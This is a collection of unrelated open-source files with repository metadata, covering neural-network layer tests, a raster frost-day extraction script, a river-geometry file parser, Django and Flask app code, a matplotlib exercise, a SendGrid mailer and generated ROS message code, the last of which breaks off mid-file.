/pysyrenn/frontend/tests/averagepool_layer.py
|
ae9b1858228c54b4e997e09e954c7ce5db4414d4
|
[
"MIT"
] |
permissive
|
ricklentz/SyReNN
|
837f2187ca58adbac3cfa1a5129c9b1df14bbb0c
|
34d3799924d6d032364edf491220324d77a4b566
|
refs/heads/master
| 2023-02-14T01:27:40.466596 | 2021-01-06T19:51:57 | 2021-01-06T19:51:57 | null | 0 | 0 | null | null | null | null |
UTF-8
|
Python
| false | false | 2,248 |
py
|
"""Tests the methods in averagepool_layer.py
"""
import numpy as np
import torch
from helpers import main
from pysyrenn.frontend.strided_window_data import StridedWindowData
from pysyrenn.frontend.averagepool_layer import AveragePoolLayer
def test_compute():
"""Tests that the AveragePool layer correctly computes a AveragePool.
"""
batch = 101
width = 32
height = 32
channels = 3
inputs = np.random.uniform(size=(101, height * width * channels))
true_outputs = inputs.reshape((batch, height, width, channels))
true_outputs = true_outputs.reshape((batch, height, width // 2, 2, channels))
true_outputs = np.mean(true_outputs, axis=3)
true_outputs = true_outputs.reshape((batch, height // 2, 2, -1, channels))
true_outputs = np.mean(true_outputs, axis=2).reshape((batch, -1))
window_data = StridedWindowData((height, width, channels),
(2, 2), (2, 2), (0, 0), channels)
averagepool_layer = AveragePoolLayer(window_data)
assert np.allclose(averagepool_layer.compute(inputs), true_outputs)
torch_inputs = torch.FloatTensor(inputs)
torch_outputs = averagepool_layer.compute(torch_inputs).numpy()
assert np.allclose(torch_outputs, true_outputs)
def test_serialize():
"""Tests that the layer correctly serializes/deserializes itself.
"""
height, width, channels = np.random.choice([8, 16, 32, 64, 128], size=3)
window_height, window_width = np.random.choice([2, 4, 8], size=2)
window_data = StridedWindowData((height, width, channels),
(window_height, window_width),
(window_height, window_width),
(0, 0), channels)
serialized = AveragePoolLayer(window_data).serialize()
assert serialized.WhichOneof("layer_data") == "averagepool_data"
serialized_window_data = serialized.averagepool_data.window_data
assert serialized_window_data == window_data.serialize()
deserialized = AveragePoolLayer.deserialize(serialized)
assert deserialized.serialize() == serialized
serialized.relu_data.SetInParent()
assert AveragePoolLayer.deserialize(serialized) is None
main(__name__, __file__)
|
[
"masotoudeh@ucdavis.edu"
] |
masotoudeh@ucdavis.edu
|
1e7deed0799f4953deba45fffbb718d862433b38
|
085d9c997085b6484b3289295c203b3c7cbec303
|
/Environmental_Covariates_Processing/mfdf_extraction.py
|
9eda8764e8fc19b8f766e09a51ea28dd95971ee6
|
[] |
no_license
|
lydiabrugere/tsrmodel
|
252abb119b68ad63bff62d876dc18a6cf6b7d041
|
ada4f89e3647f5ebba0f0f9d0744412ba0c9afaf
|
refs/heads/master
| 2023-03-16T15:32:18.511032 | 2023-03-10T16:08:58 | 2023-03-10T16:08:58 | 233,513,725 | 0 | 0 | null | null | null | null |
UTF-8
|
Python
| false | false | 3,385 |
py
|
"""
This script calculate Mean frost day frequency (MFDF, days per month) as mean days per month for 1901 to 2009
Download Page:
http://www.cgiar-csi.org/data/uea-cru-ts-v3-10-01-historic-climate-database
Data size: GB
Method:
1. Crop global AI to each 20 by 20 km grid;
2. Sum up frost day per month from 1901 to 2009
3. Calculate mean frost day per month of each grid
"""
import os
from pathlib import Path
import glob
from sqlalchemy import create_engine
import pandas as pd
import rasterio as rio
from rasterstats import zonal_stats
from shapely import wkb
from osgeo import gdal
import numpy as np
"""Preprocessing: Covert to tiff --> Define Projection"""
# 1. Convert to Tiff
# gdal_translate -of "GTiff" cru_ts_3_10.1901.2009.frs_1901_1.asc cru_ts_3_10.1901.2009.frs_1901_1.tif
asc2tif = 'for file in ./*asc; do gdal_translate -of "GTiff" $file ${file}.tif; done'
os.system(asc2tif)
# 2. Define Projection
# gdal_edit.py -a_srs EPSG:4269 cru_ts_3_10.1901.2009.frs_1901_1.tif
project_tif = 'for file in ./*tif; do gdal_edit.py -a_srs EPSG:4269 $file; done'
os.system(project_tif)
"""Done"""
# Calculate mean of all Tiff
mfdf_data_dir = Path('/Users/lianfeng/OneDrive - The University of Memphis/Research/species_richness_sdm/data/interim/mfdf_converted_tif')
os.chdir(mfdf_data_dir)
file_paths = glob.glob('./*.tif')
# We build one large np array of all images (this requires that all data fits in memory)
res = []
for f in file_paths:
ds = gdal.Open(f)
res.append(ds.GetRasterBand(1).ReadAsArray()) # assume that all rasters has a single band
stacked = np.dstack(res) # assume that all rasters have the same dimensions
mean = np.mean(stacked, axis=-1)
# Finally save a new raster with the result.
# This assumes that all inputs have the same geotransform since we just copy the first
driver = gdal.GetDriverByName('GTiff')
result = driver.CreateCopy('../../processed/mfdf.tif', gdal.Open(file_paths[0]))
result.GetRasterBand(1).WriteArray(mean)
result = None
"""Extract mfdf for each grid"""
localhost = {'user': 'postgres', 'password': 'postgres', 'host': 'localhost', 'port': 5432, 'db': 'fiadb'}
params = 'postgresql://{0}:{1}@{2}:{3}/{4}'
engine = create_engine(params.format(localhost['user'], localhost['password'], localhost['host'], localhost['port'], localhost['db']))
geom_sql = """select distinct grid_id, centroid as geom from observation.all_pergrid_sr where grid_id is not null and centroid is not null"""
geom = pd.read_sql(geom_sql, engine)
col_names = ['grid_id', 'mfdf']
fdf_var = pd.DataFrame(columns=col_names)
fdf_var['grid_id'] = geom.grid_id
mfdf_layer = Path('/Users/lianfeng/Document/species_richness_sdm/data/processed/nation_wide/mfdf.tif')
for index in range(geom.shape[0]):
grid_id = int(geom.grid_id[index])
Index_label = fdf_var[fdf_var['grid_id'] == grid_id].index.tolist()[0]
geom_polygon = wkb.loads(geom.geom[index], hex=True)
pixel_count = zonal_stats(geom_polygon, mfdf_layer, stats="count mean")[0]['count']
if pixel_count == 0:
print('Grid {grid_id} does not intersect for non-zero value. Pass!'.format(grid_id=grid_id))
else:
grid_val = (zonal_stats(geom_polygon, mfdf_layer, stats="count mean")[0]['mean'])/100
fdf_var.at[Index_label, 'mfdf'] = grid_val
fdf_var.to_sql(name='pergrid_mfdf', schema='observation', con=engine, if_exists='replace', index=False)
|
[
"lydiabrugere@gmail.com"
] |
lydiabrugere@gmail.com
|
a2efd889e9c3ae28a736a6f6348be61d9a01d513
|
64e603ec4597d898f8046f3dc8b3b33fffba8dea
|
/flaskdemo/__init__.py
|
0159256179af05f9b7dfe995cb679c344ca1d4d3
|
[] |
no_license
|
mrbarge/flask-ajaxdatademo
|
8a67037bad43d21c0cdb3d37fb3e0de311bb6c62
|
b0c1da3c3b3c77e8e6b094bd1d876f836a9cf85a
|
refs/heads/master
| 2020-06-15T02:18:09.825410 | 2017-03-19T04:05:06 | 2017-03-19T04:05:06 | 75,179,688 | 0 | 0 | null | null | null | null |
UTF-8
|
Python
| false | false | 27 |
py
|
from .flaskdemo import app
|
[
"matt.bargenquast@gmail.com"
] |
matt.bargenquast@gmail.com
|
15ef52905e13533fa9d435af56eb8b6194dfcb23
|
9a76fe4ea554cc153e9a520d92cb673544f03a08
|
/scripts/python3/data_manip/formats/mascaretgeo_file.py
|
4214cb7d514b4265faf2c3577ab789d606362122
|
[] |
no_license
|
msecher/scripts_python_3_opentelemac_r14499
|
2262c92ac64c0cdf668b5a511eb26943362c300e
|
738e8e491e10bbbc3c21afe01221ed4661ce8a87
|
refs/heads/master
| 2021-04-07T00:16:48.090702 | 2020-03-19T23:40:03 | 2020-03-19T23:40:03 | 248,626,841 | 0 | 0 | null | null | null | null |
UTF-8
|
Python
| false | false | 9,143 |
py
|
from collections import OrderedDict
import os.path
from data_manip.formats.mascaret_file import Reach, Section
from utils.exceptions import MascaretException
class MascaretGeoFile:
"""
Parse Mascaret geometry file (geo/geoC/georef/georefC)
Handles multiple reaches
TODO: handle major/minor bed
Attributs:
- file_name (str) file name
- fformat (str) file format ('opt' or 'rub')
- has_ref (bool): has X and Y coordinates for points (and hydraulic axis position)
- has_layers (bool): has sediment layers
- nlayers (int): number of layers
- layer_names (list): list of layer names
"""
OUTPUT_FLOAT_FMT = '%.6f'
def __init__(self, file_name, fformat=None, mode='read'):
"""
@param file_name (str) file name
@param fformat (str) file format ('opt' or 'rub')
@param mode (str) define the mode for the class, 'read' by default to read a file,
anything else to create a file
"""
self.file_name = file_name
self.reaches = OrderedDict()
# Layers for sediments (Courlis)
self.nlayers = 0
self.layer_names = []
if mode=='read':
# File format information
if fformat is None:
self.fformat = os.path.splitext(file_name)[1][1:]
else:
self.fformat = fformat.lower().strip()
if self.fformat not in ('geo', 'georef'):
raise NotImplementedError('Format `%s` not supported, only geo and georef formats are supported as input' %
self.fformat)
self.has_ref = 'ref' in self.fformat
# Layers for sediments (Courlis)
self.has_layers = self.fformat.endswith('C')
# Load file content
self.load()
def load(self):
"""
Load Mascaret geometry file (geo/georef)
"""
with open(self.file_name, 'r') as filein:
reach = None
reach_id_curr = 1
section_id = 0
section_name = ''
section_pk = -1.0
dist, x_list, y_list, z_list = [], [], [], []
xa, ya = None, None
for line in filein:
if line.startswith('#'):
# Ignore comment line
pass
elif line.upper().startswith('PROFIL'):
if dist:
# Add previous Section
section = Section(section_id, section_pk, section_name)
if xa is not None and ya is not None:
section.set_axis(xa, ya)
if self.has_ref:
section.set_points_from_xyz(x_list, y_list, z_list)
else:
section.set_points_from_trans(dist, z_list)
reach.add_section(section)
if self.has_ref:
_, reach_name, section_name, pk_str, x1, y1, x2, y2, _, xa, ya = line.split()
xa = float(xa)
ya = float(ya)
else:
_, reach_name, section_name, pk_str = line.split()
# Create first reach for initialisation
if reach is None:
reach = Reach(reach_id_curr, reach_name)
self.add_reach(reach)
reach_id_curr += 1
# Create a new reach if necessary
if reach_name != reach.name:
reach = Reach(reach_id_curr, reach_name)
self.add_reach(reach)
reach_id_curr += 1
# Reset variables to store section
section_pk = float(pk_str)
dist, x_list, y_list, z_list = [], [], [], []
section_id += 1
else:
if self.has_ref:
dist_str, z_str, _, x1, y1 = line.split()
x_list.append(float(x1))
y_list.append(float(y1))
else:
dist_str, z_str, _ = line.split()
# Add new point to current section
dist.append(float(dist_str))
z_list.append(float(z_str))
# Add last section
section = Section(section_id, section_pk, section_name)
if xa is not None and ya is not None:
section.set_axis(xa, ya)
if self.has_ref:
section.set_points_from_xyz(x_list, y_list, z_list)
else:
section.set_points_from_trans(dist, z_list)
reach.add_section(section)
def save(self, output_file_name):
"""
Save Mascaret geometry file (geo/georef)
@param output_file_name (str) output file name
"""
fformat = os.path.splitext(output_file_name)[1]
if fformat == '.geo':
ref, layers = False, False
elif fformat == '.georef':
ref, layers = True, False
elif fformat == '.geoC':
ref, layers = False, True
else: # georefC
ref, layers = True, True
if ref and not self.has_ref:
raise MascaretException('Could not write `%s` format without any geo-referenced data' % fformat)
with open(output_file_name, 'w') as fileout:
for _, reach in self.reaches.items():
for sec in reach:
positions_str = ''
if ref:
# Get river_banks and `AXE` coordinates if necessary
xa, ya = sec.axis
positions_str += ' %f %f %f %f' % (sec.x[0], sec.y[0], sec.x[-1], sec.y[-1])
positions_str += ' AXE %f %f' % (xa, ya)
# Write profile header
fileout.write('Profil %s %s %f%s\n' % (reach.name, sec.name, sec.pk, positions_str))
# Write points and layers if necessary
if not ref and not layers:
for dist, z in zip(sec.distances, sec.z):
fileout.write('%f %f B\n' % (dist, z))
elif ref and not layers:
for dist, x, y, z in zip(sec.distances, sec.x, sec.y, sec.z):
fileout.write('%f %f B %f %f\n' % (dist, z, x, y))
elif not ref and layers:
for i, (dist, z) in enumerate(zip(sec.distances, sec.z)):
if self.nlayers == 0:
layers_str = ''
else:
layers_str = ' ' + ' '.join([MascaretGeoFile.OUTPUT_FLOAT_FMT % zl
for zl in sec.layers_elev[:, i]])
fileout.write('%f %f%s B\n' % (dist, z, layers_str))
elif ref and layers:
for i, (dist, x, y, z) in enumerate(zip(sec.distances, sec.x, sec.y, sec.z)):
if self.nlayers == 0:
layers_str = ''
else:
layers_str = ' ' + ' '.join([MascaretGeoFile.OUTPUT_FLOAT_FMT % zl
for zl in sec.layers_elev[:, i]])
fileout.write('%f %f%s B %f %f\n' % (dist, z, layers_str, x, y))
def __repr__(self):
return 'MascaretGeoFile: %s' % self.file_name
def add_reach(self, reach):
"""
Add a single reach
@param reach (Reach) reach to add
"""
self.reaches[reach.id] = reach
def add_constant_layer(self, name, thickness):
self.has_layers = True
self.nlayers += 1
self.layer_names.append(name)
for _, reach in self.reaches.items():
for section in reach:
thickness_table = [thickness for i in range(section.nb_points)]
section.add_layer(thickness_table)
def summary(self):
txt = '~> %s\n' % self
for _, reach in self.reaches.items():
txt += ' - %s\n' % reach
for section in reach:
txt += ' %i) %s\n' % (section.id, section)
return txt
if __name__ == '__main__':
# Parse every MascaretGeoFile in examples/mascaret and display a summary
import os
from utils.files import recursive_glob
try:
geo_files = recursive_glob(os.path.join(os.environ['HOMETEL'], 'examples', 'mascaret'), '*.geo')
geo_files += recursive_glob(os.path.join(os.environ['HOMETEL'], 'examples', 'mascaret'), 'geometrie')
for file_name in sorted(geo_files):
geo_file = MascaretGeoFile(file_name, 'geo')
print(geo_file.summary())
except MascaretException as e:
print(str(e))
|
[
"matthieu.secher@edf.fr"
] |
matthieu.secher@edf.fr
|
ed8f1e7a9bca1240742287d1ba9ff1752519e407
|
acb8e84e3b9c987fcab341f799f41d5a5ec4d587
|
/langs/9/wn2.py
|
7e5061c53baa9c33c3a5a765f753cb76544cb01f
|
[] |
no_license
|
G4te-Keep3r/HowdyHackers
|
46bfad63eafe5ac515da363e1c75fa6f4b9bca32
|
fb6d391aaecb60ab5c4650d4ae2ddd599fd85db2
|
refs/heads/master
| 2020-08-01T12:08:10.782018 | 2016-11-13T20:45:50 | 2016-11-13T20:45:50 | 73,624,224 | 0 | 1 | null | null | null | null |
UTF-8
|
Python
| false | false | 486 |
py
|
import sys
def printFunction(lineRemaining):
if lineRemaining[0] == '"' and lineRemaining[-1] == '"':
if len(lineRemaining) > 2:
#data to print
lineRemaining = lineRemaining[1:-1]
print ' '.join(lineRemaining)
else:
print
def main(fileName):
with open(fileName) as f:
for line in f:
data = line.split()
if data[0] == 'wN2':
printFunction(data[1:])
else:
print 'ERROR'
return
if __name__ == '__main__':
main(sys.argv[1])
|
[
"juliettaylorswift@gmail.com"
] |
juliettaylorswift@gmail.com
|
e272af84fa652dea7f8eb98e985ce5c5a95bec08
|
d4fff0e4ba1aa1e2a2b6f0bab4ffe6b94a2082b3
|
/์ฑํฐ8_4.py
|
7a0b12beebeb42ec92a515e054d183da93454390
|
[] |
no_license
|
Rebel07/tree
|
0b47819a3a852775fa68127bdb0d98b699dc74db
|
a656beb8ffe89c00ee875e20845407631d51d608
|
refs/heads/master
| 2020-03-17T10:57:39.149169 | 2018-05-16T00:15:42 | 2018-05-16T00:15:42 | 133,531,530 | 0 | 0 | null | null | null | null |
UTF-8
|
Python
| false | false | 264 |
py
|
deg = {10:'A',9:'A',8:'B',7:'C',6:'D',5:'F',4:'F',3:'F',2:'F',1:'F',0:'F'}
score=int(input('์ ์ : '))
score_d=score//10
if score >= 0 and score <= 100:
print(score,':',deg[score_d])
else:
print('์
๋ ฅ๊ฐ๋ฅํ ์ ์ ๋ฒ์๋ 0~100์
๋๋ค.')
|
[
"noreply@github.com"
] |
Rebel07.noreply@github.com
|
f91cf335ffb5ae504912e85f2b34e8f8d44bd43f
|
bf1ca2f85987a3d95142ffb6c4f922349ce0c933
|
/HNapp/urls.py
|
afdb34aa6fafb622afe9b9bb0023280d1b53da54
|
[] |
no_license
|
estebesov01/hacker_news_with_scraping
|
b1c0158a4030ded2bc6020ba9d503449516b560c
|
e35b610b59aad37f78f69793d790861a9d2ba48e
|
refs/heads/master
| 2023-06-21T06:06:59.391202 | 2021-07-14T12:34:01 | 2021-07-14T12:34:01 | 385,933,565 | 0 | 0 | null | null | null | null |
UTF-8
|
Python
| false | false | 985 |
py
|
from django.contrib import admin
from django.urls import path, include
from .views import *
app_name = 'HNapp'
urlpatterns = [
path('', post_list_view, name='home'),
path('new', new_post_list_view, name='new_home'),
path('user/<username>', user_info_view, name='user_info'),
path('posts/<username>', user_submissions, name='user_posts'),
path('submit', submit_post_view, name='submit'),
path('edit/<int:id>', edit_post_view, name='edit'),
path('signin', sign_in, name='signin'),
path('signup', sign_up, name='signup'),
path('signout', sign_out, name='signout'),
path('vote/<int:post_id>', up_vote_view, name='vote'),
path('downvote/<int:post_id>', down_vote_view, name='dvote'),
path('post/<int:id>', comment_list_view, name='post'),
path('post/<int:id1>/comment/<int:id2>', comment_reply_view, name='reply'),
path('parse', parse_site, name='parse_site'),
path('delete/<int:id>/', post_delete_view, name='post_delete'),
]
|
[
"estebesov7777@gmail.com"
] |
estebesov7777@gmail.com
|
bef53d6d00bdcf0b5e303329cc8c7c3010ab69d6
|
4ea02c55d2b28994575e9bb16b40a77591b1a26e
|
/biblioteca/views.py
|
c3e09a6af16f840edc0d9b7e3b4716b90b95b332
|
[] |
no_license
|
jairnet/djangotest
|
0f09cdc0e02895f84ab06372ca63f46bbddc987e
|
d727258b2fb52e5d76a657fefd75f82c06aecdb8
|
refs/heads/master
| 2021-01-23T04:09:26.748182 | 2015-04-24T21:59:42 | 2015-04-24T21:59:42 | 34,014,771 | 0 | 0 | null | null | null | null |
UTF-8
|
Python
| false | false | 694 |
py
|
from django.http import HttpResponse
from django.shortcuts import render
from biblioteca.models import Libro
def formulario_buscar(request):
return render(request, 'formulario_buscar.html')
def buscar(request):
errors = []
if 'q' in request.GET:
q = request.GET['q']
if not q:
errors.append('Por favor introduce un termino de busqueda.')
elif len(q) > 20:
errors.append('Por favor introduce un termino de busqueda menor a 20 caracteres.')
else:
libros = Libro.objects.filter(titulo__icontains=q)
return render(request, 'resultados.html',{'libros':libros,'query':q})
return render(request, 'formulario_buscar.html', {'errors': errors})
# Create your views here.
|
[
"jairbuitron@MacBook-Pro-de-Jair.local"
] |
jairbuitron@MacBook-Pro-de-Jair.local
|
641b66f94f1c28edf5ba707179570df11b4c0776
|
0c69e5697bbe50d3ef24554c097d1cde4e5928d2
|
/rango/migrations/0005_category_slug.py
|
bdf2637263f659f1e6cfffb523b9488f73ce58d7
|
[] |
no_license
|
UltWolf/Blog
|
814c9dc5448972402e59b540b3ba2bd4cfa233b4
|
5d7e59672cfc4e11d64c2273cb4b107953409d80
|
refs/heads/master
| 2021-01-22T18:43:11.678161 | 2017-03-15T18:40:34 | 2017-03-15T18:40:34 | 85,108,211 | 0 | 0 | null | null | null | null |
UTF-8
|
Python
| false | false | 446 |
py
|
# -*- coding: utf-8 -*-
# Generated by Django 1.10.5 on 2017-03-10 16:17
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('rango', '0004_remove_category_slug'),
]
operations = [
migrations.AddField(
model_name='category',
name='slug',
field=models.SlugField(blank=True),
),
]
|
[
"ctrateg@bigmir.net"
] |
ctrateg@bigmir.net
|
c212b7abfa204151fd7118f9c1047b5c3fb541c4
|
a9d4beb507b284e0a30b6f6522d448bec37ab7d6
|
/math/0x01-plotting/5-all_in_one.py
|
c1616e1f02491a0cca18080e0f79cb2b3375c8b4
|
[] |
no_license
|
Danucas/holbertonschool-machine_learning
|
b9aedaccb93627adb9514f6c2fae1b67a1aeb0af
|
83e6185ebe3935f4fea27afa5db9f448722f2e2a
|
refs/heads/main
| 2023-07-12T17:08:02.813748 | 2021-08-17T05:22:30 | 2021-08-17T05:22:30 | 318,015,962 | 0 | 0 | null | null | null | null |
UTF-8
|
Python
| false | false | 1,830 |
py
|
#!/usr/bin/env python3
import numpy as np
import matplotlib.pyplot as plt
y0 = np.arange(0, 11) ** 3
mean = [69, 0]
cov = [[15, 8], [8, 15]]
np.random.seed(5)
x1, y1 = np.random.multivariate_normal(mean, cov, 2000).T
y1 += 180
x2 = np.arange(0, 28651, 5730)
r2 = np.log(0.5)
t2 = 5730
y2 = np.exp((r2 / t2) * x2)
x3 = np.arange(0, 21000, 1000)
r3 = np.log(0.5)
t31 = 5730
t32 = 1600
y31 = np.exp((r3 / t31) * x3)
y32 = np.exp((r3 / t32) * x3)
np.random.seed(5)
student_grades = np.random.normal(68, 15, 50)
parameters = {
'axes.labelsize': 'x-small',
'axes.titlesize': 'x-small'
}
plt.rcParams.update(parameters)
fig = plt.figure()
ax1 = plt.subplot2grid((3, 2), (0, 0), colspan=1)
# adding ax 1
ax1.set_xlim(0, 10)
ax1.plot(y0)
# adding ax 2
ax2 = plt.subplot2grid((3, 2), (0, 1), colspan=1)
ax2.title.set_text("Men's Height vs Weight")
ax2.scatter(x1, y1, c=['#d065cb'])
ax3 = plt.subplot2grid((3, 2), (1, 0), colspan=1)
# adding ax 3
ax3.set_xlabel('Fraction Remaining')
ax3.set_ylabel('Time (years)')
ax3.set_yscale('log')
ax3.set_xlim(0, 28650)
ax3.plot(x2, y2)
# adding ax 4
ax4 = plt.subplot2grid((3, 2), (1, 1), colspan=1)
ax4.title.set_text('Exponential Decay of Radioactive Elements')
ax4.set_xlim(0, 20000)
ax4.set_ylim(0, 1)
line1, = ax4.plot(x3, y31, color="#eb473f", label="C-14", linestyle="dashed")
line2, = ax4.plot(x3, y32, color="#4f9720", label="Ra-226")
ax4.legend((line1, line2), (line1.get_label(), line2.get_label()))
# adding ax 5
ax5 = plt.subplot2grid((3, 2), (2, 0), colspan=2)
ax5.title.set_text('Project A')
ax5.set_xlabel('Grades')
ax5.set_xlabel('Number of students')
ax5.set_xlim(0, 100)
ax5.set_ylim(0, 30)
ax5.hist(student_grades, range=(0, 100), bins=10, edgecolor='black', linewidth=1.2)
for ax in fig.axes:
print(ax)
fig.suptitle('All in one')
fig.tight_layout()
plt.show()
|
[
"danrodcastillo1994@gmail.com"
] |
danrodcastillo1994@gmail.com
|
a8b90f128c3542091c0642e7627a617eddbde20b
|
6b909af47c5aa61277e1f352ee9c6d0ae4aabee2
|
/setup.py
|
dbb1591c1736279231db321087a5a158a654cad8
|
[
"EFL-2.0"
] |
permissive
|
cottongin/sopel-climacell
|
3e03ff10357dbfc1cfeb7673f83f03bdab6274ac
|
3429844746f45e157e12bb6f380eca827f61dd41
|
refs/heads/master
| 2022-11-24T16:14:03.028519 | 2020-07-28T01:23:32 | 2020-07-28T01:23:32 | 283,060,750 | 0 | 0 | null | null | null | null |
UTF-8
|
Python
| false | false | 692 |
py
|
# -*- coding: utf-8 -*-
from __future__ import print_function
import os
import sys
from setuptools import setup, find_packages
if __name__ == '__main__':
print('Sopel does not correctly load plugins installed with setup.py '
'directly. Please use "pip install .", or add '
'{}/sopel_climacell to core.extra in your config.'
.format(os.path.dirname(os.path.abspath(__file__))),
file=sys.stderr)
with open('README.md') as readme_file:
readme = readme_file.read()
with open('NEWS') as history_file:
history = history_file.read()
setup(
long_description=readme + '\n\n' + history,
long_description_content_type='text/markdown',
)
|
[
"cottongin@users.noreply.github.com"
] |
cottongin@users.noreply.github.com
|
54c87564c4c34225925aac236b20d9e29fdf3384
|
81a922548c49118452573a2cc4da97bcce88203e
|
/spinner.py
|
2ff15e015678922fc8bd1d8023f21df980c96528
|
[] |
no_license
|
nestorlee/DIS-Booth
|
7d2eab9b3b6f468e1a157d94ad085c81fd828811
|
5d0f9f30f102b6398f2b05a83e3362f9d2138685
|
refs/heads/master
| 2023-03-08T18:14:37.601308 | 2018-03-19T11:07:10 | 2018-03-19T11:07:10 | null | 0 | 0 | null | null | null | null |
UTF-8
|
Python
| false | false | 1,132 |
py
|
# Written by Nestor Lee for DIS2018
#
# Background Audio by: Balloon Game Kevin MacLeod (incompetech.com)
# Licensed under Creative Commons: By Attribution 3.0 License
# http://creativecommons.org/licenses/by/3.0/
#
# Background Image found: https://pngtree.com/freebackground/circus-stage-background-material_805701.html
# Assume licensed under Creative Commons
#
# Main
# Imports the Class files
# import GameConsole
import SpinnerConsoleWindow
# import QRCodeScanner
# Using the multiprocessing library to run different processes for the different interfaces
from multiprocessing import Process
# def consoleWindow():
# root = Tk()
# root.title("Spinning Wheel Console")
# display = GameConsole.GameConsole(root)
# root.mainloop()
#
#
# def qrCodeScanner():
# initiateQRCodeScanner = QRCodeScanner.QRCodeScanner()
def spinnerWindow():
initiateSpinnerWindow = SpinnerConsoleWindow.SpinnerConsoleWindow()
if __name__ == '__main__':
# Process(target=qrCodeScanner).start()
# Process(target=consoleWindow).start()
Process(target=spinnerWindow).start()
|
[
"noreply@github.com"
] |
nestorlee.noreply@github.com
|
d20d0862c0bc14f8a343819a18037592d6950392
|
734a31e81f206c0bb9ab1e1fd6745a29aaa10b14
|
/src/products/migrations/0015_auto_20180115_0209.py
|
86f87585cdc543286771d23aa9edee108ffaf53d
|
[
"MIT"
] |
permissive
|
shan18/Kart
|
d39974ba3f2eca14e68f6e51ed9132ffcf8a540a
|
a38f648d00b829a2f0a875e78c102c62c9718ee1
|
refs/heads/master
| 2022-12-10T05:33:41.198309 | 2022-11-29T07:16:32 | 2022-11-29T07:16:32 | 118,975,709 | 26 | 18 |
MIT
| 2020-06-08T09:47:11 | 2018-01-25T22:34:36 |
Python
|
UTF-8
|
Python
| false | false | 622 |
py
|
# -*- coding: utf-8 -*-
# Generated by Django 1.11.8 on 2018-01-14 20:39
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('products', '0014_auto_20180114_0359'),
]
operations = [
migrations.AddField(
model_name='productfile',
name='free',
field=models.BooleanField(default=False),
),
migrations.AddField(
model_name='productfile',
name='user_required',
field=models.BooleanField(default=False),
),
]
|
[
"thegeek.004@gmail.com"
] |
thegeek.004@gmail.com
|
8b363f046499487518a67cb87eb0ec039c027f5f
|
025333407ea7219540c4873091ade8bff9ced829
|
/manage.py
|
f2211cdbdecf378c6af5618fe89fcac935d26090
|
[] |
no_license
|
PyconUK/ironcage18
|
317b6250019f0173c421b0f1980dcee52c727528
|
4ffb1c8449437f8d4dc08a1f344d47383b542598
|
refs/heads/master
| 2021-04-15T18:24:30.180384 | 2019-05-15T08:48:57 | 2019-05-15T08:57:20 | 126,659,139 | 1 | 4 | null | 2018-10-10T07:38:22 | 2018-03-25T02:53:05 |
Python
|
UTF-8
|
Python
| false | false | 714 |
py
|
#!/usr/bin/env python
import os
import sys
import dotenv
if __name__ == "__main__":
if 'test' in sys.argv:
os.environ.setdefault("DJANGO_SETTINGS_MODULE", "ironcage.settings.test")
else:
dotenv.read_dotenv()
os.environ.setdefault("DJANGO_SETTINGS_MODULE", "ironcage.settings.local")
try:
from django.core.management import execute_from_command_line
except ImportError as exc:
raise ImportError(
"Couldn't import Django. Are you sure it's installed and "
"available on your PYTHONPATH environment variable? Did you "
"forget to activate a virtual environment?"
) from exc
execute_from_command_line(sys.argv)
|
[
"peter.inglesby@gmail.com"
] |
peter.inglesby@gmail.com
|
31ab032e54bf47596e702e42e35b49e5afb56914
|
dbd87fe6e9466c4cada18b037667cfdddc62c193
|
/data/Quandl/Quandl_to_Email/mailer.py
|
fc9f7c8bf40471494b8853214d35944ab0aff2b3
|
[] |
no_license
|
alexanu/Python_Trading_Snippets
|
74515a40dc63ba50d95bd50330ed05d59b5dc837
|
85969e681b9c74e24e60cc524a952f9585ea9ce9
|
refs/heads/main
| 2023-06-25T03:27:45.813987 | 2023-06-09T16:09:43 | 2023-06-09T16:09:43 | 197,401,560 | 18 | 17 | null | 2023-02-08T22:25:25 | 2019-07-17T14:05:32 |
Jupyter Notebook
|
UTF-8
|
Python
| false | false | 1,112 |
py
|
import sendgrid
import os
from sendgrid.helpers.mail import Email, Content, Mail
class Mailer(object):
def __init__(self):
if os.environ["SENDGRID_API_KEY"] is None:
raise EnvironmentError("Missing env SENDGRID_API_KEY")
self.sendgrid_client = sendgrid.SendGridAPIClient(
apikey=os.environ["SENDGRID_API_KEY"])
def send_mail(self, from_address, to_address, subject, body, content_type="text/plain"):
from_email = Email(from_address)
to_email = Email(to_address)
subject = subject
content = Content(content_type, body)
mail = Mail(from_email, subject, to_email, content)
response = self.sendgrid_client.client.mail.send.post(
request_body=mail.get())
return response
if __name__ == '__main__':
mailer = Mailer()
response = mailer.send_mail(
from_address="test@example.com",
to_address="mulanimonty@gmail.com",
subject="Subject - Test mail",
body="Test mail ABC")
print(response.status_code)
print(response.body)
print(response.headers)
|
[
"oanufriyev@gmail.com"
] |
oanufriyev@gmail.com
|
e52ee398e2f0f924ba0cc83bb4f348dfbf1ce04f
|
5fe0a5588d27dfcd98e1ebedbf8a2138dcb33117
|
/catkin_ws/devel/lib/python2.7/dist-packages/hebi_cpp_api_examples/srv/_SetFeedbackFrequency.py
|
251c66d59b13f5f3f80e54095bf4aef4e2b6d126
|
[] |
no_license
|
Florian9638/HEBI_ros
|
370511dbeca00c698afea8a969960094b1678930
|
7f7b46b329aec043019a79d7e67fe1c821f20684
|
refs/heads/main
| 2023-02-06T04:19:48.506795 | 2020-12-15T21:16:13 | 2020-12-15T21:16:13 | 319,692,741 | 1 | 0 | null | 2020-12-15T21:16:14 | 2020-12-08T16:14:07 |
Makefile
|
UTF-8
|
Python
| false | false | 7,171 |
py
|
# This Python file uses the following encoding: utf-8
"""autogenerated by genpy from hebi_cpp_api_examples/SetFeedbackFrequencyRequest.msg. Do not edit."""
import codecs
import sys
python3 = True if sys.hexversion > 0x03000000 else False
import genpy
import struct
class SetFeedbackFrequencyRequest(genpy.Message):
_md5sum = "b11146fd2143e78325a7496114ee3a9e"
_type = "hebi_cpp_api_examples/SetFeedbackFrequencyRequest"
_has_header = False # flag to mark the presence of a Header object
_full_text = """float64 frequency_hz
"""
__slots__ = ['frequency_hz']
_slot_types = ['float64']
def __init__(self, *args, **kwds):
"""
Constructor. Any message fields that are implicitly/explicitly
set to None will be assigned a default value. The recommend
use is keyword arguments as this is more robust to future message
changes. You cannot mix in-order arguments and keyword arguments.
The available fields are:
frequency_hz
:param args: complete set of field values, in .msg order
:param kwds: use keyword arguments corresponding to message field names
to set specific fields.
"""
if args or kwds:
